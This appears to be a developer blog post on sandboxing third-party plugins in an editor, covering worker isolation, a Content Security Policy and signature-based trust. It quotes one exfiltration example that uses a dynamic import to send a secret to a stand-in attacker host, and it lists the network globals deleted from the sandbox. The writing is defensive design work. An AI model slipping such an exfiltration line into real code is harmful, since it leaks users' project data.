Plugins that cannot phone home
An editor without plugins is a tool. An editor with plugins is a platform, and a platform that runs other people's code inside your project has to answer an uncomfortable question: what exactly can that code reach?
Awaken's answer took three passes. A plugin framework, then a sandbox, then a signing chain. Each pass was wrong in an instructive way.
Pass one: capabilities, and no boundary
The first version ran a plugin in the editor's own window and handed it a context object: query the scene, register a panel, run a command, all through a PluginContext rather than through store directly.
That is a real design and it buys real things. Everything a plugin does goes through the editor's command system, so plugin edits are undoable exactly like hand edits, and one plugin run collapses into one undo entry. Every contribution it registers is disposed on disable, so its panels and tools disappear together.
What it does not buy is a boundary. A ctx you can hold is an object graph you can walk. Nothing stopped a plugin reaching past it.
Pass two: a worker, and the hole in the middle
So plugins moved into a Web Worker, talking to the host over a MessagePort with a capability RPC. The host keeps one handler table; the plugin sends { method, params } and gets plain data back.
Two things the same-window version never had to do:
- Reads return snapshots. A scene read used to hand back a live object with getters over the store. Those cannot be structured-cloned across a worker boundary, so there is now exactly one function turning an object into
{ id, name, worldPos, … }. Losing live handles turned out to be a feature: a plugin cannot accidentally hold a reference to something the user deleted. - Asset writes are ownership-checked. A sandboxed plugin can only mutate mesh and blob ids it created. Ownership is a
Map<pluginId, Set<id>>that outlives individual calls.
Then I tried to cut the network off. The worker's bootstrap deletes fetch, XMLHttpRequest, WebSocket, importScripts and navigator.sendBeacon from its global scope before any plugin code runs.
That is not enough, and the reason is worth sitting with:
await import("https://evil.example/?" + secret);
Dynamic import goes through the module loader, not through any of those globals. There is no binding to delete, because import is a keyword. You can strip every network function on the platform and this still walks out with your project data in a query string.
Pass three: let the browser enforce it
A JavaScript-level strip cannot close a JavaScript-level keyword. The enforcement has to happen at the browser's network layer, which means a Content Security Policy, which means a document, which means the worker needs to live inside one.
So every plugin runs inside an opaque-origin iframe whose document CSP is:
default-src 'none';
script-src 'unsafe-inline' blob:;
worker-src blob:;
connect-src 'none';
img-src 'none';
style-src 'none'
connect-src 'none' is the cutoff, applied by the browser before a byte leaves, regardless of which references the plugin still holds. A worker inherits the CSP of the document that spawned it, so the plugin worker is bound by the same policy. sandbox="allow-scripts" with no allow-same-origin makes the origin opaque: no cookies, no localStorage, no IndexedDB, no reaching the parent's DOM or window.top.
The JS-level strip stays. It is not instead of this, it is in front of it.
One consequence worth knowing if you build something similar: because script-src allows only blob:, the plugin runtime can be constructed only from a blob URL, and a blob URL is scoped to the realm that created it. A blob minted in the host window is not dereferenceable from the (different, opaque) iframe. So the iframe needs the runtime's full source text, not a URL to it.
flowchart TD H["Editor window"] -->|"srcdoc + source text"| I["Opaque-origin iframe
CSP: connect-src 'none'"] I --> W["Plugin worker
(inherits the CSP)"] W -->|"MessagePort: {method, params}"| H H -->|"plain-data snapshots"| W W -.->|"fetch / XHR / WebSocket"| X["deleted globals"] W -.->|"await import(https://…)"| Y["blocked by the browser"]
Who is allowed to run at all
Sandboxing decides what code can do. It does not decide whose code you run. That is provenance, and for third-party packages it is a signature.
Trust is never read from the manifest, because a manifest is a file the attacker writes. It comes from where the thing came from:
| Origin | Trust | Runs |
|---|---|---|
| Bundled with the editor | trusted | yes, sandboxed |
| Authored here, source in your project | trusted | yes, sandboxed |
| Imported, signature verified | signed | yes, sandboxed |
| Imported, unsigned | untrusted | blocked |
Note that every level which runs at all runs in the same sandbox. The distinction is consent, not capability: a signed third-party plugin gets no smaller an API than a bundled one, it is simply a party you did not have to vet yourself.
The signature is Ed25519 with a root-anchored chain:
- The editor build embeds a root public key.
- The registry's directory and revocation documents are signed by an online directory subkey, not the root. The root stays offline.
- A root-signed certificate binds that subkey to the root and gives it an expiry.
- Verification is therefore two steps: check the cert against the embedded root and its expiry, then check the document against the now-trusted subkey.
One detail I would defend at length: the directory and revocation documents are verified over their exact published bytes, never a re-serialisation. Certificates, which both signer and verifier construct fresh in memory, are signed over canonical JSON. A canonicalise-then-verify scheme would let a byte-for-byte-different but semantically-equal document also pass, and for an audit-relevant static file the published bytes are the artifact.
Installing an untrusted plugin never executes its code, not even to read its manifest. Every plugin installs with a placeholder manifest built from the script asset's id and name; the real contributions come from activate(ctx). Importing a package carrying ten unsigned plugins runs zero lines of them.
The part I got wrong for a month
All of the above is testable, and I tested it. 250-odd tests across the sandbox: capability validation, ownership, the RPC envelope, flood limits, teardown.
Four failures shipped to the browser anyway, in a row:
new Worker(blob:)from an opaque origin: "Refused to cross-origin redirects of the top-level worker script."- Activation timed out after 10 seconds, because the injected
MessagePortwas neverstart()ed. - A panel firing about eleven RPCs per change, at pointer-move rate, tripped the flood limit and terminated itself.
- A plugin that found no world to act on, because the project's defaults never carried the keys it looked for.
Every one of those is a boundary bug, and every test in the suite drove an in-memory pipe rather than building the real iframe. The tests proved the protocol was correct. Not one of them proved the transport existed.
Worse, my first attempt at a regression test for the flood bug was vacuous: the fixture happened to create its target entity before the objects that would have made the scan expensive, so removing both defences still passed. I only caught it by deleting the fix and watching the test stay green, which is a habit I would recommend to anyone who has just written a test for a bug they cannot reproduce.
The honest state: the boundary has been reviewed adversarially and holds, and the thing standing between me and a fifth browser-only failure is still a headless-browser smoke test I have not written.
Would I do it this way again
Yes, with one change of order. The capability RPC was designed for a same-window plugin and retrofitted to a worker, and the retrofit is where the snapshot rule and the ownership map came from. Both are better than what preceded them. I would have found them a month earlier by putting the boundary in first and letting it dictate the API, rather than designing an API and then discovering which parts of it cannot cross a postMessage.